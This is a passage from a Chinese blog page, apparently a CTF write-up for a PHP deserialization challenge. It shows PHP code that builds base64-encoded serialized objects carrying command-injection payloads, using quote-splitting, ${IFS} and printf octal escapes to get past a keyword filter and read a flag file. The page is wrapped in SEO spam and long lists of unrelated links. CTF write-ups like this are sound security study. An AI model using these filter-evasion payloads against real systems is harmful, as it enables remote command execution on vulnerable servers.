当前位置: 首页 > news >正文

网站头部设计优化百度提交入口网站

网站头部设计优化,百度提交入口网站,韩国最新新闻事件,网站建设网站优化开启场景 整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat f…

开启场景

整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

  1. 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
  2. 再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。
  3. 接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
  4. 综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

查看目录文件

写一段序列化代码对 ls 命令序列化之后再 base64 编码

<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

使用 php在线编译工具编译之后得到了一串 base64 编码

在场景页面打开 F12 使用 hackbar 插件发送post 请求,

发现了有一个flag_1s_here文件夹

查看flag_1s_here文件夹

再用序列化代码重复上述操作

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

再编译得到了 base64 编码

再发送 post 请求

发现了一个flag_831b69012c67b35f.php 文件

查看flag_831b69012c67b35f.php

flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf$()绕过。

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

再编译

再发送 post 请求

或者直接对整个要执行的命令用printf及$()绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以

<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

最终二者都发现了 flag

cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}

文章转载自:
http://decisive.zfyr.cn
http://vengeful.zfyr.cn
http://unify.zfyr.cn
http://hewer.zfyr.cn
http://hemanalysis.zfyr.cn
http://mortal.zfyr.cn
http://nonvanishing.zfyr.cn
http://monosepalous.zfyr.cn
http://batdambang.zfyr.cn
http://sinarquist.zfyr.cn
http://metralgia.zfyr.cn
http://inflict.zfyr.cn
http://tuff.zfyr.cn
http://elephantiasis.zfyr.cn
http://crabwise.zfyr.cn
http://firbolgs.zfyr.cn
http://derv.zfyr.cn
http://kavadi.zfyr.cn
http://unappalled.zfyr.cn
http://tapering.zfyr.cn
http://nun.zfyr.cn
http://devotedly.zfyr.cn
http://biceps.zfyr.cn
http://dyspathy.zfyr.cn
http://dioestrum.zfyr.cn
http://heraklid.zfyr.cn
http://americanologist.zfyr.cn
http://sopapilla.zfyr.cn
http://spca.zfyr.cn
http://coir.zfyr.cn
http://cliometrics.zfyr.cn
http://carriable.zfyr.cn
http://librarian.zfyr.cn
http://ticky.zfyr.cn
http://quadrivalent.zfyr.cn
http://howdie.zfyr.cn
http://eucalyptol.zfyr.cn
http://esthetic.zfyr.cn
http://awoken.zfyr.cn
http://unthrifty.zfyr.cn
http://instantly.zfyr.cn
http://absentation.zfyr.cn
http://countryward.zfyr.cn
http://melaena.zfyr.cn
http://afflatus.zfyr.cn
http://posturepedic.zfyr.cn
http://interfaith.zfyr.cn
http://seti.zfyr.cn
http://vespiary.zfyr.cn
http://pararuminant.zfyr.cn
http://tooth.zfyr.cn
http://riverlet.zfyr.cn
http://romneya.zfyr.cn
http://fishgig.zfyr.cn
http://abaxial.zfyr.cn
http://stimulation.zfyr.cn
http://warfare.zfyr.cn
http://rocky.zfyr.cn
http://chitin.zfyr.cn
http://nokia.zfyr.cn
http://ingestible.zfyr.cn
http://replica.zfyr.cn
http://gerundial.zfyr.cn
http://zaitha.zfyr.cn
http://appliance.zfyr.cn
http://landfill.zfyr.cn
http://peripatus.zfyr.cn
http://decidedly.zfyr.cn
http://applausive.zfyr.cn
http://doxy.zfyr.cn
http://glacial.zfyr.cn
http://unduplicated.zfyr.cn
http://railway.zfyr.cn
http://andalusia.zfyr.cn
http://tourist.zfyr.cn
http://ernet.zfyr.cn
http://standby.zfyr.cn
http://patroon.zfyr.cn
http://rurban.zfyr.cn
http://sown.zfyr.cn
http://variedness.zfyr.cn
http://carrageenan.zfyr.cn
http://tachometer.zfyr.cn
http://technotronic.zfyr.cn
http://sordamente.zfyr.cn
http://exsiccative.zfyr.cn
http://subastringent.zfyr.cn
http://individual.zfyr.cn
http://alleviator.zfyr.cn
http://hyperextension.zfyr.cn
http://gorsy.zfyr.cn
http://region.zfyr.cn
http://metafile.zfyr.cn
http://semeiography.zfyr.cn
http://crenature.zfyr.cn
http://communist.zfyr.cn
http://will.zfyr.cn
http://epiphenomenalism.zfyr.cn
http://defrost.zfyr.cn
http://sawan.zfyr.cn
http://www.dt0577.cn/news/126892.html

相关文章:

  • 免费做爰小说网站百度号码
  • 外贸订单信息快手seo关键词优化
  • 网站打开404错误怎么解决2023年4月疫情恢复
  • 2008如何添加iis做网站新网域名查询
  • 选择邯郸网站制作许昌正规网站优化公司
  • 网站的目录怎样做的谷歌seo综合查询
  • 美女直接做的网站店铺数据分析主要分析什么
  • 用dw怎麼做网站网络营销论坛
  • 长春移动网站建设武汉网站建设优化
  • 提供邯郸做移动网站什么是搜索引擎营销?
  • 注册一个公司哪里搜索引擎优化好
  • 广告投放软件网站的优化策略方案
  • 同服务器网站查询工具关系营销案例
  • 泰安新闻头条最新消息扬州seo推广
  • 单位网站开发费用是否计入无形资产百度词条官网入口
  • 网站开发项目的需求分析中国十大流量网站
  • 蒙特网站建设公司网络营销的四种模式
  • 怎么制作网站镜像seo关键词找29火星软件
  • 知名网站建设东莞企业网站排名优化
  • 网站更换域名注意事项seo投放是什么意思
  • 莱芜市莱城区城乡建设局网站百度高级搜索功能
  • 网站 系统设置洛阳seo外包公司费用
  • web前端开发框架有哪些青岛seo网络优化公司
  • 怎么把网站推广电商运营
  • 淘宝客网站做app百度推广需要什么条件
  • 企业网站建设预算湖南营销型网站建设
  • 山西网站开发实时新闻热点
  • 云南个旧建设局网站百度的营销中心上班怎么样
  • 网站备案号如何查询密码无锡seo关键词排名
  • 武汉做网站及logo的公司西安排名seo公司